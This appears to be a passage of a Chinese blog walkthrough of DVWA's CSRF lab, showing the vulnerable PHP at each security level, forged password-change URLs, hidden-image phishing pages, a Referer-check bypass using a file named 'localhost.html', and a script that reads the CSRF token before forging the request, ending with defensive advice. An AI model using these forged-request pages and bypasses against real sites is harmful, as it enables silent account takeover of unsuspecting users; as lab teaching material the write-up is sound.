if( $pass_new == $pass_conf ) {
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
}

GET 请求直接改密码,啥防护都没有。

攻击方法

正常改密码的请求长这样:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

那我伪造一个:

1
http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#

做个钓鱼页面:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>恭喜您中奖了</title>
</head>
<body>
<h1>恭喜您获得一等奖!</h1>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<p>请点击下方按钮领取奖品</p>
</body>
</html>

用户访问这个页面的瞬间,img 标签就会发送请求,密码就被改成 hacked 了。用户完全不知道发生了什么。

试一下用新密码登录,成功!

Medium 级别

Medium 加了 Referer 检验:

1
2
3
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// 允许修改密码
}

它检查请求头里的 Referer 是否包含服务器域名,比如 localhost

绕过方法

问题在于它只是检查包含,那我把我钓鱼页面的路径里加上 localhost 不就行了?

比如文件名叫 localhost.html,或者放在 localhost 目录下。这样 Referer 里就会有 localhost 这个字符串,校验就过了。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<img src="http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change#" style="display:none;">
<h1>页面加载中...</h1>
</body>
</html>

这验证写得也太随意了。

High 级别

High 加了 CSRF Token:

1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

每次请求都要带个有效 Token,攻击者不知道 Token 就没法伪造请求了。

攻击方法

单纯的 CSRF 搞不定了,得配合 XSS 才行。如果有 XSS 漏洞,就能用 JavaScript 去获取页面里的 Token:

1
var token = document.getElementsByName('user_token')[0].value;

然后构造攻击页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3892/vulnerabilities/csrf/", false);
xhr.send();
var response = xhr.responseText;
var token = response.match(/user_token'\s*value='([^']+)'/)[1];

var attackUrl = "http://localhost:3892/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=" + token;
var attackXhr = new XMLHttpRequest();
attackXhr.open("GET", attackUrl, false);
attackXhr.send();
</script>
</body>
</html>

不过这个受同源策略限制,实际场景得看具体情况,这里主要是演示思路。

Impossible 级别

Impossible 级别是真安全:

1
2
3
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

改用 POST 了,还强制验证 Token,密码强度也有要求。这才是正确的防护姿势。

小结

CSRF 防护要点:

  1. 敏感操作一定要用 CSRF Token
  2. 尽量用 POST,别用 GET
  3. Cookie 设置 SameSite 属性
  4. 重要操作要求二次确认
  5. Referer 校验可以加,但别只指望它
0%